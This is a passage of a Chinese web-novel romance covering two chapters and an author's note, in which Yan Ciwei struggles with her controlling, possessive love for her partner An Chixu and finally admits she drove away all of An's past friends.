“我们每天晚上都可以多吃一个鲜花饼。”她的团团还是那么瘦。养起来一点肉,多动两下就没了。 “那不要。”安迟叙贴她怀里笑。“中午或者早上更好。” “你定。”晏辞微原本也不是认真的。 看她团团笑得像鲜花,忍不住把玩笑落实。 “但至少,我和她一起画了画。”晏辞微抬手, 袋子里装着今天丑丑的作品。 “以后可以摆卧室。”安迟叙也不多追问, 顺着晏辞微的话走。 “客厅吧。”这么丑这么黑一张画, 摆卧室好吓人。 晏辞微可不想半夜跟团团正亲密, 忽然睁眼看见对面一幅黑画。她得被吓一跳。 “为什么?”安迟叙想的是床头的位置, 刚好缺一幅挂画。 “那摆卧室。”今天的晏辞微有些太好说话了,甚至不敢解释原因。 安迟叙多看她一眼,把画抢了过来。 “那还是摆客厅,总不能吓着姐姐。” 晏辞微贴她背上笑。安迟叙明明看得出来, 非要问她。 她笑得花枝乱颤, 安迟叙心情却莫名沉了沉。 谁也没再提画的事。安迟叙讲着工作,一路回了家。 “团团。”回到家, 晏辞微有些忐忑, 拉安迟叙坐沙发。 安迟叙凝她一眼,看清她眼底的颜色,垂眸干脆往她怀里钻。 “有正事……”晏辞微还不知道安迟叙会不会同意呢。 裴绮玲教她要跟团团商量。 她却觉得, 安迟叙都定好要去四九城了,自己再开口,会不会和以前一样, 是想控制团团? “有正事就不可以抱抱了?”安迟叙敢肯定晏辞微的异样和裴绮玲有关。她们今天一定谈了不少事。 可又猜不出。安迟叙也有些不安,好像晏辞微在一寸一寸的远离她。 速度不快,以至于最开始叫人发现不了。 但日积月累她们能隔好长一条河,伸手都牵不到彼此,只能淌过水,弄得满身狼狈。 安迟叙一定要晏辞微抱着才好,不安的心缓缓沉入晏辞微的蜜糖海。 “那你不要生气。”晏辞微也不肯松手了,轻轻伸手圈住安迟叙。 被安迟叙拽着,变回她们最习惯的拥抱。紧密相贴。安静下来能听见彼此的心跳。 晏辞微心跳好快。安迟叙不知道她到底要说什么事,只能答应她。 “我不生气啊。姐姐,我之前也说过。你都和我商量了,有什么好气的?” 如果是通知,晏辞微根本不会开口。她会把一整件事做完,再邀请安迟叙入场。 晏辞微还不知道安迟叙怎么猜到的,就埋下头在她后颈亲亲蹭蹭。 “就是……工作的事。”亲到安迟叙都侧过头跟她嘤咛如水。晏辞微才缓缓开口。 好像只有在亲密时她才能感觉到安定,一定要甜蜜的欢喜充盈彼此,晏辞微才敢试着冒险。 多奇怪。她的姐姐什么时候这么胆小了,什么都要问她,忐忑得好像新生的小狗,被打了很多次一样,再做任何事,都带着停不下来的颤抖。 “还是不同意吗?”安迟叙其实没在生气了。 她甚至都不觉得绝望。她总觉得只要她们牵着手,这些问题都可以解决。 只是需要很多很多的时间。 无所谓啊。她和姐姐都才25岁。人生那么长,她可以慢慢等。 晏辞微却因为安迟叙下意识的反应颤了下,用力十指相扣,捏住她的手好像要给她上刑。 安迟叙侧头去看,眼里还带着方才被亲出来的水光。 暧昧与迷茫都写在眼里。 晏辞微看得心越跳越快,差点开不了口。 可又不想让安迟叙误会,更不想变回那个把爱人做成提线木偶的偏执傀儡师。 “不是。”晏辞微急了,声音还发哑。 怕安迟叙没听清,她终于咬痛嘴唇再度开口。“没有不同意。” 话说出来,头上多了一捧重量。 安迟叙抚过她的头顶,把热热的掌心贴上她的头发。 一顺一顺的,抚摸着她。 好像她的答案不再重要,她不要这么胆小紧张压抑,才最重要。 安迟叙这样纯粹的爱着她。她却不知如何回报。 晏辞微眨眼又掉一颗眼泪。 安迟叙转过身,彻底进入晏辞微的怀抱,手指替她擦拭。轻柔的好像秋风。 “最近好多眼泪啊。”安迟叙揉开晏辞微眼角的花,捏住她的脸,想逗她笑。 晏辞微真笑开嘴,却比哭还惹人心疼。 “我,我同意你回策划岗。”晏辞微逮着她的手,最爱的最亲密的这只手。贴合在脸颊。 撒娇一般要安迟叙疼她。 安迟叙真听话,摸摸她可怜的小狗。 “也不是同意,就是。你想回的话,就去吧。就是会很累,很危险……”晏辞微没说完又把自己咬痛。 说好了要支持安迟叙的想法,怎么还想阻止她。 原来托举一个人,比囚养她更难。 心脏疼疼的发酸,晏辞微发觉自己的惰性很可怕。 “我知道。”安迟叙眉眼柔和下来。 她大概知道裴绮玲给晏辞微说了些什么了。 灰澄澄的眼眸反了一点光。 晏辞微不敢直视,怕那里藏着更多的刺痛,能把她扎穿。 她甚至不敢听安迟叙的话,说完已经耗尽全部力气,浑身肌肉和感官都封闭,她想钻回自己那片白茫茫的世界。 不被谁打扰,没有爱,当然也没有痛。 “我知道会很累,很危险。我会照顾好自己啊。”安迟叙停下了抚摸,伸手圈住晏辞微的脖颈。 她说了她们一定能做到。现在,晏辞微向她迈出好大一步。 她也要激烈的回应她。安迟叙说罢抬起晏辞微的头,一个吻轻盈的印上去。 “而且……”吻与吻的间隙,安迟叙的话语和抚摸一样有力量,安抚着失温的爱人。 “真出事了,不是还有你吗?” 晏辞微再次被安迟叙拽出孤独的自囚箱,不禁抬眸愣愣看向她。 安迟叙含着笑,眼里不再有一丝痛苦或忍耐,反射出的那一点红,是晏辞微的痣,也是动人的火。 她纯粹又灿烂,如今是秋日的高阳。 只一抹就能将晏辞微照得锃亮。 照得温热又柔软。 晏辞微扑上安迟叙。咬住她的唇。 还她一个吻,一份热。 她明白,安迟叙敢放手一搏。 因为她是她的后盾,像最后一道防线,永远护着她,给她向上的底气。 * * * 一路亲到床上。 安迟叙也不知道她们怎么开始的。 总归反应过来时,晏辞微都在她掌心开花几次了。 开完花,晏辞微哼哼唧唧的抱住安迟叙。 安迟叙也学她,猪仔叫。 连吵带拱的把她弄趴下去。 晏辞微羞恼一瞬,抬手戳软安迟叙的腰。 安迟叙跟她一起倒下,两个人面对面贴着,笑作一团。 “我之前话还没说完。”晏辞微挠过安迟叙的背。 一次开口了,第二次也就容易很多。 “嗯。我不生气,姐姐。我爱你。”爱她,所以没什么可气的。 哪怕是之前的阻止。哪怕是不管不顾的圈养。 “我想回s市。”晏辞微说完偷看了安迟叙一眼,立马补充。 “就是和你,商量。不是一定要绑你去,如果你还是想回四九城那也可以……”人心虚的时候解释特别多。 安迟叙听得出来,咬了晏辞微一下,按住她的唇。 “好啊。”安迟叙答应了。 晏辞微听见心脏落在地上。 落在安迟叙的掌心。她的坠落被安迟叙温柔的接住。 所以一点都不痛,安迟叙还会捧起那颗跳动的脏器小心翼翼的亲吻。 “本来也更喜欢s市。”安迟叙只是想到四九城才是晏辞微的家乡。 “那……我去订票。我们住一起?” “肯定啊。”安迟叙真亲吻过晏辞微的下巴,颤动的喉头。 然后是xiong脯。 离心脏最近的地方。安迟叙方才还吸过。 此刻只是柔柔的吻。晏辞微红了耳根,小幅度抵着安迟叙的头。 终究没抵住,顺着安迟叙来,安迟叙相当能折腾。 又是一场闹。 晏辞微快累睡着了,眼皮一打一打,还有力气拽着安迟叙的脖颈不放手。 “姐姐。”安迟叙给她擦拭,吻过她的眼皮。 “其实三年前,你提前问我,告诉我,不要说谎……我也不会逃走。” 晏辞微似乎已经睡着了。被亲眼皮也没什么反应,只有一双手勾着爱人,要她回到自己的怀抱。 安迟叙抿出一个笑,真躺了进去。 舔着爱人的温热,甜软的香。 * * * 安迟叙已经办完离职交接,彻底离开烁点了。 她和朋友们的最后一次聚餐订在明天,晏辞微听了就要来,安迟叙想她大概会接到朋友们复数幽怨的眼神。 今天其实不需要出门上班。 安迟叙说了个谎,走的时候回头看见晏辞微在门口守望她。 怪可怜的。在c城最后的这一周,晏辞微一直这样。 演戏的办公室被发现,晏辞微也不必再离开家,每天就在家里守望。 和等主人回家的忠犬没差别。 “等你。”晏辞微好可怜。她好像没有更多事能做,人生唯一意义就是和安迟叙在一起。 为了这最终的目的她可以牺牲一切,只要安迟叙给她一个笑。 安迟叙把一切都看在眼里。每一次亲密虽然很欢喜,但总觉得哪里不太安宁。 是本能在提醒她。她却没找到原因。 晏辞微最近很好,真的很好。 让她做饭,做家务,帮忙。 晚上问她想做什么,想看什么。 可安迟叙到底不是那么有主见的人。这种小事她习惯让晏辞微安排。 她们便经常一起呆坐在沙发上。晏辞微等安迟叙思考,安迟叙冥思苦想实在想不出来,便吻在一起。 “周末就回s市了。”安迟叙定了定神。 只要回s市,她回到她的岗位,晏辞微回到总经理的位置。一切应该都会更好吧? 这股不安宁的感受,也该随着生活回到正轨而消散。 “嗯。”晏辞微想迈出一步,试图追上安迟叙。 安迟叙主动回来,抱住她刚刚才吻过的爱人。 安迟叙坐电梯下楼了。 余光还扫过一眼,看见晏辞微的残影。 她不知道晏辞微每天会在那里站多久,只是看两分钟就足够心疼。 晏辞微的眼神有些熟悉。 安迟叙怎么也没想出来,深吸一口气,呼出。 快了。其实今天和裴绮玲吃完饭,她就能回去陪她的姐姐了。 安迟叙加快速度赶到餐厅。 早茶餐厅已经人满为患。安迟叙有时很佩服c城人悠闲生活的态度。每一种娱乐在任何时候都能排满长队。 还好她提前预定了。这家餐厅就在她租房附近,安迟叙钻进包间,等了五分钟,裴绮玲也进来了。 “小安。”裴绮玲摸摸安迟叙的头,还给她带了个礼物。 一个做工精致的发卡。大概是听晏辞微说过自己喜欢这些饰品。 “谢谢阿姨。”安迟叙笑容腼腆,“姐姐不让我喊你妈咪,只能喊阿姨了。” “没关系。喊妈咪其实也不合适,我下个月就和明琼正式离婚了。”裴绮玲说的时候语气很平。 想象中淡淡的喜悦都不带。 安迟叙恍然。也许对裴绮玲来说,离婚也不一定值得她高兴。 她和晏明琼的感情更复杂,更久。拉扯半生再分开,是恨是爱都已经成了习惯。 习惯也是惰性。最扰人,甩不掉。 “恭喜。”安迟叙还是道上一声祝福。 “也没什么。”裴绮玲勾了两个菜。 小崽的女朋友说要请她,她作为长辈也不可能真让安迟叙请,把点菜权还给安迟叙了。 “裴阿姨,其实我很佩服你。”安迟叙是昨天临时给裴绮玲发的消息,说想和她聊聊。 也没说具体话题。但昨夜安迟叙想的是聊晏辞微那天在公园的事。 今早情绪被不安霸占,此刻也问不出来她们究竟说了什么。 只好聊裴绮玲这个人。 “不用佩服我。我并没有做好什么。”裴绮玲轻笑一声,觉着安迟叙怪好玩的。 小刺猬精挑细选的女朋友倔倔的,像条小草根。 小刺猬说她是挣扎生长的流浪猫,裴绮玲也觉得贴切。 跟自己真有点像,不知道是审美随了晏明琼,还是被自己耳濡目染。 “我要是经历你的事,可能永远达不到离婚那一步。”安迟叙差一点就要放弃,这辈子活在晏辞微的圈养之下。 真的只差一步。甚至她本心都已经死去。 是死前最后的挣扎,加上晏明琼的阻挠,才叫她成功逃脱。 逃脱后又总念着。被圈养的生活多简单,她只需要给出爱就好。 经历了三个月都能怠惰的那么心安理得,安迟叙不敢想二十多年。 裴绮玲轻轻摇着头。“那是你不知道我和她故事的全貌,会觉得我勇敢,果决。” “其实,如果我没有输给那个瞬间,我根本不会和她走到结婚这一步。哪怕有小刺猬。” 裴绮玲闪过回忆,秋日画室下等着带她回家的晏明琼依旧那么晶莹,明亮。像她每一幅画。 美好得是醒不来的梦。 家这个词于裴绮玲的意义太重,晏明琼真的给过孤儿院长大的浮萍一个家。 这事裴绮玲没给任何人说过,哪怕是晏辞微,哪怕是晏明琼。 晏明琼不知道她心动的时间太早太早,到离婚都以为她没爱过她。 今天却讲给安迟叙,大概是觉得她们真的很像。 她们是跨越时空的轮回。只是人不同,爱不同,结局也不一样。 晏辞微有裴绮玲,有不太爱她,却也没害过她,偶尔还别扭的关心着她的晏明琼。 晏明琼却真的什么都没有。 裴绮玲孤身一人,和晏明琼的孽缘是她自找的。 安迟叙好歹有过家庭,是被晏辞微亲自挑出、养大。 安迟叙把讲话的空间留给裴绮玲,看菜上了,还给裴绮玲夹呢。 裴绮玲没拒绝,回忆很远,飘渺的让她抓不住。 如今想起开口要给安迟叙讲,话卡在喉头,总让她想,那个人真的是她自己吗? 她抿一口茶,茶的苦她已经能够接受。又反应过来。 离她第一次遇见晏明琼,已经过去三十多年了。 “先说说你不知道,小刺猬也不知道的。”裴绮玲回避了自己的事。 “晏家这么多代都没有发展成一个庞大的家族,是因为每一代家主的孩子都很少。最多两个,最少一个独苗。她们是靠高压教育,让唯一的继承人成为合格的模样。” “高压教育就是,除了学习不能做任何事。就是在三岁记事开始就要接受精英的指导,七点起床后每一分每一秒都被安排在日程表上。就是在该玩的日子里只能坐在书桌边直到身体变形。” “也有棍棒。晏明琼是被她母亲打到大的。” 裴绮玲看安迟叙紧张,还跟她解释了一句。 “安心,我拦过,明琼也不是那么暴力的人。小刺猬没挨打,只是要学的东西那么多,她一天到晚也被押着没有自己的时间。她初中逃出去,我也悄悄帮了忙。” 安迟叙撇着嘴回忆晏辞微和她说过的话。 难怪晏辞微不常提起过去。 可能在捡到自己之前,晏辞微的世界真的没有色彩,也没什么可以聊的话。 “只是就算不打,晏明琼也不知道怎么养女儿。同时她也不太喜欢晏辞微,因为晏辞微和我不像,像她自己。” 她们这种人一生最讨厌的人就是自己。 安迟叙想起曾经看见晏辞微一次次把拟她自己的玩偶杀死。 好像如果给晏辞微一把刀,她会毫不犹豫的捅穿她的脖颈。 “小刺猬成长过程中没有得到多少爱。她可能比你想象中更渴望,更需要你的爱。可能并不是你依赖她。”裴绮玲看向安迟叙的眼神,终于变成了长辈看晚辈。 带着多少欣慰,叫安迟叙有点羞,低下头。 “幸好她找到的人是你。你真正爱她,没有去控制她,利用她。” 裴绮玲想,无论晏辞微还是晏明琼,在感情上其实都很脆弱。 只是因为她和安迟叙都是柔弱的小草,她们做不出伤害爱人的事,更学不会利用这份依赖反向索求,控制她们的爱人。 有些人会。晏辞微这样缺爱的孩子最容易受伤受骗。 “她也很好。”安迟叙说罢,默了会儿。 “你也很好。”还挺正经的去夸裴绮玲。 “你也很好。”裴绮玲还安迟叙一句一模一样的笑。 安迟叙吃完饭没再多留,和裴绮玲道别,说以后有机会过年她们一起吃饭。 裴绮玲看她匆匆离开,愁眉笑意更深,更朦胧。 她捏着手机,那里没有一个等她接通的电话。 可她想,也许她真有一点想晏明琼。 只是不会再回到她身边爱她。 * * * 安迟叙打开家门时,晏辞微正坐在沙发上发呆。傻傻的等着,眼神一如既往的呆滞。 看的安迟叙好心疼,赶过去抱住她,吓了她一跳。 “团团?你下班了?”晏辞微有点慌神。 她从来不让自己的惆怅被安迟叙看见。今天给打了个措手不及,要叫安迟叙担心了。 “我离职了呀。姐姐,昨天其实就办完全部手续,今天开始不需要上班了。” 安迟叙使劲揉过晏辞微的头。 想把她眼光的涣散揉碎。 “我刚刚其实是去找你妈咪了。对不起啊姐姐,跟你说了谎。”安迟叙的动作没用。她的话终于让晏辞微醒过来。 晏辞微捏了安迟叙的手腕,像一口咬。 “找她做什么……”声音也带着不快。 晏辞微委屈得耷拉眉眼,比走的时候更像可怜小狗。 淋她一身的雨是她自己的眼泪。晏辞微眨眼,眼眶就充满饱胀的盈光。 “好奇你的过去,但不想揭你伤疤。”安迟叙任她掐,轻轻拍着她的头哄她。 没放下去的心脏又提起。 她的姐姐好像有点不对。 以前也会这么撒娇,跟她掉眼泪。 最近太频繁,安迟叙却不愿多想,总以为晏辞微只是在给她展示真实的那一面。 安迟叙怕她问了,晏辞微以后连哭都不敢,发呆都不敢。 那样更不好。她们是爱人,在彼此面前就应该想做什么做什么。 “姐姐,没有我的日子是不是很孤独?” 难怪晏辞微闲下来就不知道做什么。每天好像只有等她这一件事。 晏辞微没有正常健康的童年。她的成长是被拔起来的苗,看似光鲜,内里早已枯死。 竟然一直都没有注意到。 安迟叙的手顺着晏辞微的头发,落在她背上,一下下给她顺着气。 她想带着晏辞微,她们重新把自己养一遍。 “……讨厌。”晏辞微咬住安迟叙的脖颈,没说是否。 安迟叙脖颈开了热花。她已经知道答案了。 “我心疼你。”安迟叙慢慢把晏辞微抱紧。 晏辞微也努力着,往她怀里缩。一寸一寸的蜷起来,晏辞微好像真变回幼小的孩童,钻着母亲的怀抱,啃着她的衣服,被她抓着小手亲。 只是给她依赖的人,是她的爱人。 她没法再得到一次母爱。 而安迟叙一直都在。 晏辞微抽噎一声,想忍又不想再忍,干脆赖着安迟叙,哭声慢慢放大。 安迟叙一顺一顺的安抚着她,从头到尾。 陪着她哭。 “其实……其实都还好。”晏辞微哭久了,吸着气坐起来,也不肯让安迟叙看,贴着她的脖颈声音轻。 “很小就离开了。那段时间记忆也不深。” 但不痛为什么会逃离?晏辞微知道人不舒服就会想要离开。痛苦到极致后反而没法迈出一步。 裴绮玲有三十年的拉拉扯扯。安迟叙也有三个月的逐渐失力。 惰性依赖困扰着每一个人,而她恰好是那个在血液失尽前逃脱成功的。 所以她这么想让安迟叙好。这段时间不惜自己痛自己忍,也要让安迟叙重新成长一遍。 她只是爱安迟叙。 现在她真的想让安迟叙好。好到离开她也无所谓。 “那也心疼。要是我们再早一点相遇就好。”安迟叙亦没松手。 她拍着晏辞微的背,不时亲过晏辞微的耳。嚼着晏辞微的天竺葵香。 如果晏辞微初中就捡到她。 如果她住在晏辞微家附近,小时候晏辞微悄悄翻出墙,她们摔在一起。 安迟叙想陪晏辞微长大。 晏辞微真有些疼,紧紧抓着安迟叙的衣襟,而后是皮肉。 安迟叙受着传导来的疼,与她共振。 “……不要恨我。”晏辞微声音好低好轻。 好像不是她在说话一样,安迟叙不能确定自己是否真的听见。 “不会。我爱你。”她却依旧回应。哪怕只是幻觉里晏辞微的不安。 “我会反复的。不要讨厌我。”晏辞微知道自己想做什么。 忍了这么久还是不能完全剔除,尝试了这么多次还是不知道该怎么做。 她好想,好想。 把安迟叙团在手里,变成真正的团团。像以前一样,圈养她,囚。禁她。 她太怕失去,太敏感太紧张。 可现在,她唯独不愿意这样做。 “没有讨厌过你,晏辞微。” “我一直爱着你。”安迟叙垂眸听着晏辞微莫名的话。 她的直觉可能没有出错,又不知问题在哪儿。 晏辞微不说话了,只吻她。 想着,如果安迟叙知道她此时此刻在想什么。 也许,不一定会这么爱她—— 作者有话说:计划的内容还没写完,写到七千忽然累了,就出去吃饭了,吃完饭回来就开始写作业了,就决定发了[闭嘴] 80章及以内肯定正文完结! 裴绮玲和晏明琼大概是,孤儿院长大的裴绮玲想学美术,没钱,于是斗胆给自己找了个金主,结果招惹到不该惹的人了,分分合合逃不掉,就这样过了半辈子。番外有机会写,没机会算了()魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 75-79 第76章 第 76 章 第三次离别 半夜迷迷糊糊醒来。 安迟叙眼睛不太睁得开, 脑子已经清醒,听着身旁的悉悉索索。 晏辞微不知道在做什么,抱着她只单手, 空着的手离的远。 她身体还贴着安迟叙。柔柔的, 很温暖。 安迟叙干脆装睡,只有睫毛颤了颤。 晏辞微约莫是怕吵醒她,当然也不知道她已经醒来。动作很慢。 发出的声音很细微、迟缓,每摩擦一下就会停一会儿。 好半晌,安迟叙都快再次睡着, 才感觉有什么东西接触着她的手腕。 安迟叙知道晏辞微在做什么了。没动, 呼吸都放缓。 直到晏辞微把系带缠好。两个人被绑在一起, 不仅胸贴背, 心连心, 如今手脚也并排被扣上,怎么都分不开。 晏辞微做完这一切才轻叹着躺回来,抱住安迟叙。 很快她呼吸平缓了。 安迟叙才终于睁眼,转过身。 动作不是那么容易。 晏辞微的系带没有系很紧。但结打的死, 挣不开, 也不勒人。 安迟叙小心翼翼的牵着,不想惊醒晏辞微, 终于转回她怀里, 抱住她。 抚过她的头发,顺着她的背。 闭眼时在想。这么多个夜晚,晏辞微是不是都会像这样, 花大半个小时小心翼翼给她系上绳索,又在天明时剪掉? 掌控欲并不会消失。 它只是变得越来越隐晦,越来越压抑。 安迟叙有些揪心。 她怕晏辞微憋的太久, 心理出问题。 可是怎么办呢?晏辞微都没开口提。 安迟叙最后抚摸过晏辞微的脸,想让她睡得安稳些。 等回s市,一定要问问她。 翌日睁眼,安迟叙去看手腕。 那里果然没有红系带了。也不知道晏辞微是什么时候起,什么时候剪,又藏在了哪里。 只是睁眼时晏辞微还在安迟叙怀里。 安迟叙抱着她腻了会儿,从她身旁翻到她身上。 “早饭吃……吃不吃?”晏辞微勉强搂着她的腰,把她抱在怀里。 看起来挺困的。 安迟叙睁圆眼,戳戳她脸又捏捏她鼻子。 直把她捏得睫毛都在颤。 “吃。”安迟叙松开手,晏辞微终于睁眼,眼里还有水雾。 安迟叙看着她多想问。她是不是每夜都熬到自己睡熟,直到系上红绳,才敢入睡? 怎么会这么没有安全感。安迟叙心疼着,这样的瞬间里她总会后悔自己过去的决绝。 是不是把牵引的绳末端再交回晏辞微手里比较好? 好像那绳索连接的不是主仆控制,是晏辞微的心脏,是动脉的一部分。 安迟叙将它拿回来,供养立即停止。 晏辞微心跳骤停慢慢失去活力,最后死在苍白里。 “你做吗?”晏辞微只迷糊了一会儿就清醒过来,抱着安迟叙坐起来。 此刻瞧着没有异样了。她还能拱安迟叙的脖颈,嘴唇梳理她的头发。 “一起。”安迟叙拽晏辞微起来。 再等两天。 等回了s市……她就问。 哪怕有可能再次失去自由。 * * * 今天和安迟叙在c城的朋友聚餐。 主要是工作上的同事,一共五个人。 安迟叙订了个小包间,不打算再玩,但也请她们饭后去唱k。 安迟叙还带上了家属。 以杜知棠为首,被安迟叙骗了很久的几个人都很好奇这个家属是什么样。 安迟叙带着晏辞微提前十五分钟先到了包间。 杜知棠她们得等下班,多半一起来。 隔会儿包间门被打开,三个人涌进来。 “那俩呢?又被留下来了?”安迟叙打过招呼,挑眉。 “还能是因为啥。主管发癫呗。”杜知棠放下包,眼睛都快黏在晏辞微身上了。 “……你好。”晏辞微原本没打算和她们打招呼的。 一个城市的朋友,总会被留在那座城市里。安迟叙以后不会常回c城,逢年过节大概也是和她一起回四九城,或者她们两个人过好她们的小家。 都不需要一年。过一个月就该淡了。 只是这人看着她的眼神太热切,晏辞微忍着不快开口了,算作一种提醒。 “声音也很厉害……”杜知棠看着晏辞微就像看见自己的直属上司。 尽管觉着晏辞微漂亮又气质,各方面堪称满分,也起不了任何心思。 她挺佩服安迟叙,对着这么一张像是能天天骂她的脸还能谈下去。 “你女朋友是不是什么高管啊?”她不敢和晏辞微多对视,悄悄去拽安迟叙的袖口。 以为自己很隐蔽。 晏辞微直接把安迟叙往她那边捞了点。明晃晃的警告。 “这个啊……也算吧?”安迟叙也确实没想给这些朋友交代晏辞微的身份。 豪门大小姐,准继承人,目前自己开了公司,爬到分部总经理的位置。怎么不算是公司高管呢? “真厉害。那你们怎么认识的啊?”旁边没跟安迟叙贴很近的两个人没收到晏辞微直接的敌意,还有心情八卦。 杜知棠都不敢再靠近安迟叙,心里默念这人占有欲真强,难怪安迟叙整天说她“不在了”。 “高中同学。认识快十一个年头了。”安迟叙挑着能说的告诉她们。 隔会儿被留下的两个人终于来了,菜上齐,安迟叙也就不提晏辞微的事。 …… “真要回s市啊。不是说工作压力大?”饭吃了两个多小时,快结束的时候,不在同一层的饭搭子喝多了点,还想问安迟叙留c城。 “也习惯了。这几个月回c城我跟放假一样,现在要回去努力了。” 安迟叙摸摸她快忍不住的姐姐,尽可能给这只炸毛刺猬顺毛。 “留这边多好啊。你在公司呆着,我们下班时间都准时了……”饭搭子就是可惜。 除了安迟叙,她们谁还有胆量跟领导对着干?说五点下班,真就跑了。 被骂了屡教不改,反正上面也没法因此扣她工资,顶多孤立她,核心项目不带她。 但人家是来c城度假的。还有个对接公司高管的妈。女朋友还这么优秀。项目算个啥? 她们就是群牛马,以后只能回到加班加到九十点的生活了。 安迟叙就笑,没再说这件事。 再说,晏辞微要忍不住这会儿把她绑走了。 晏辞微能接受她们一起回s市,她在策划岗。 但绝对没法接受临到头,她决定留在c城。 安迟叙也没这个想法。她想和晏辞微在一起,c城还真没有日安集团的分部。 也许以后晏辞微把公司开到c城,她们还能回来度假吧。 “有空一定要常联系啊。”就像每一群即将分离的好友那样,杜知棠进了ktv还在跟安迟叙讲话。 “会的。我到s市就给你们发消息。”安迟叙看着她们进ktv玩,还真有些不舍。 这还是她从小到大第一次和朋友正式分别。 以前偶尔有过朋友,没几天就被晏辞微赶走了。 没有给谁道过别,也没有听谁说过有空多联系的话。 安迟叙慢慢品着这份伤感,牵着晏辞微的手,出了ktv,往家里走。 离了人,晏辞微就黏上安迟叙的肩头,死死贴着她,好像狗皮膏药。走路的颠簸都没把她甩开一寸。 现在是安迟叙更高。晏辞微保持这个姿势也不累。 安迟叙就搂着她的腰,把她抱紧了些。她们放慢步子,听秋夜风起。 晏辞微小酌了一几杯。安迟叙喝不来酒,倒是一点没碰。 以前也没见晏辞微喝酒过,想来她今天心情不太好。 “乖姐姐。很快到家了。”安迟叙揉过晏辞微的头,真在她眼角看见一抹红。 夜路宁静,又不寂寞。不时有别的人从身边路过,还有车的轰鸣一起响。 秋叶也一片片的掉。顺着晚风微微上扬,落一片在安迟叙身上。 火红的好像一只蝴蝶,纸折的。安迟叙现在衣兜里就有一只。 她家醋坛子刚刚折给她的。看她跟人说一句话就不开心。 晏辞微睁开眼。安迟叙没能在那里看见泪水。 有车灯直愣愣照过来,抹两个人一眼,同样闪烁的光在她们目光里跳跃。 安迟叙收紧手臂。晏辞微和她贴得更近。 隔着衣服都能感受到升高的体温。是彼此热了秋夜的凉。 晏辞微吸了下鼻子。也许有点迷糊。 安迟叙第一次知道她酒量不是特别好,才喝了几杯,还是那种只有一口的小酒杯,就有些醉了。 想来也是,谁敢灌晏辞微?她不想喝真可以不喝。 喝醉后的晏辞微不犯事,不闹腾。特别安静,好像端坐的小猫。可也粘人,非要贴着她。 好端端的路都被走窄了。安迟叙也不嫌弃,抱得紧,轻轻哄。 路灯时近时远。影子一瞬长,一瞬更远。被寥寥抛出去,又在下一盏收回来。 安迟叙的心也慢慢静了。回家这一路她什么都没想。 晏辞微在她怀里腻着,大概,她也什么都不用想。 进单元楼之前,晏辞微终于开了口。 她喝醉后声音带了点飘。抓着安迟叙的肩膀啃她一样,头一点一点的。 “我不喜欢你交朋友。” 单元门关上。她们到家了。 * * * 晏辞微坐在沙发上醒酒。安迟叙忙里忙外,给她煮着醒酒汤。 晏辞微说不用,坐会儿就好。她没喝多少。 安迟叙亲过她脸庞,好像刚刚那句话没有发生一样,依旧进了厨房。 晏辞微盯着地板,不知道为什么以前安迟叙这么喜欢看着脚。 可能是本能反应,但晏辞微只觉得一直低着头好晕。 再晕她也没力气抬起来。晏辞微踢掉鞋子缩成很小一团,抱住膝盖,把自己变成真的小刺猬。 尖刺戳着墙,肚皮朝着安迟叙。她是刺猬也不会把刺亮给她爱的人。 安迟叙煮完汤出来,擦着手,就看见她的小可怜变成很小一团,神情比秋夜还寂寞。 其实已经入冬了。只是c城的冬天来得缓。安迟叙看满街黄叶依旧把冬当作了秋。 安迟叙急忙赶过去,安慰她心事重重的姐姐。 “团团……”晏辞微伸出手。 原本也许只是想和她牵上。 碰到她的肌肤就忍不住,抱紧她的脖颈,再慢慢把自己送进她怀里。 “姐姐。是不是有什么话想跟我说?”安迟叙想起回家前听见的那一句。 晏辞微想摇头,脸颊被安迟叙咬了一口。 她不摇头却也不说话了。闷在安迟叙怀里。 好像只要抱的足够久,她就能从安迟叙这儿汲取到失落已久的养分。 安迟叙带走了她的动脉。她心脏空落落的急着寻找。 只有贴着安迟叙,心连心,她才能有一时的抚慰。 “那我有话想跟你说。”安迟叙等不到回s市了。 她知道晏辞微如今的眼神像谁。 被圈养的她自己。 明明她不曾控制晏辞微。 是晏辞微自己给自己设限太多,被分离弄出后遗症,不知所措了。 “不要。”晏辞微不想开口。 喝醉了也依旧不敢说。 最大胆的话她已经说完了,安迟叙没有斥责她也没有远离她,这是她能想象的最好结局。 她真实的想法比那黑暗一百倍,可能真的像安迟叙看出来的那样,黑到发毒。 晏辞微不敢想安迟叙能接受这样龌龊的她。 “要说的。姐姐。好不容易我走出来,我不想你一直陷在里面。我想我们好好的,一起度过一辈子,但不是你委屈或者我忍耐。”可安迟叙是谁啊。 她怎么会看不出来晏辞微的想法。 晏辞微努力埋藏的阴暗面。 安迟叙早就找出来了。 晏辞微对上安迟叙的眼。 安迟叙的眼圆又大,像杏仁像梨花,明媚清澈。 这双眼是她教出来的,即便着色清灰,专注时也深邃若黑。 “你要我说的。”晏辞微咬着嘴唇不快。 她真怕啊,于是耍无赖偏要安迟叙容忍她。 “是,我要你说的。说什么都可以。告诉我吧。”安迟叙抚着她的背,揽她入怀看着她发红的眼角。 原本以为是醉的。 “你不许生气。不许讨厌我。不许不要我。”一连三个不许,像胡搅蛮缠。 安迟叙以为只有被娇惯大的大小姐才有这种脾气,没想到是个大小姐都这样。 她们说一不二,要星星就有人去摘。她们的世界必然唯我独尊,不准有任何超出掌控的人事物,蛮横里带着别样的好。 她家姐姐竟然也这样。安迟叙尝着新鲜。 每一天都能看见不一样的晏辞微,每一个她都喜欢。 以前晏辞微一定是憋着忍着给她演戏看。那可不好。 “我不生气。不讨厌你。我爱你,怎么会不要你?”安迟叙向来耐心,对晏辞微更甚,陪着她闹。 晏辞微哽咽一声,又挤出眼泪。 “我不喜欢你交朋友。”她复述了刚刚回家时说过的话。 她把红蝴蝶从安迟叙衣兜里抽了出来,拆开又折好。好像这蝴蝶是心脏的寄托。 “杜知棠也不喜欢。何语檐、沈既白也不喜欢。秦好也不喜欢。文从心也不喜欢。”晏辞微一个一个点着。 前面安迟叙还认识。 往后走安迟叙都不知道她们是谁。模模糊糊在记忆深处翻出来对应,竟是她高中到大学短暂的朋友。 每一个,晏辞微都还记得。名字、家庭、做过什么,为什么和安迟叙合得来…… 这些人总会在午夜爬上她的梦境,化作黑深深的泥,淹没她。 不断的告诉她,她是一个多么坏的爱人。 为了自己的不快,把一个又一个人从安迟叙身边赶走。直到安迟叙也变得孤身一人,只有她可以依赖。 她造就了安迟叙的惰性。 那竟是她不敢说出口的幸福。 “全都不喜欢。所以……所以她们要从你的世界消失才好。” 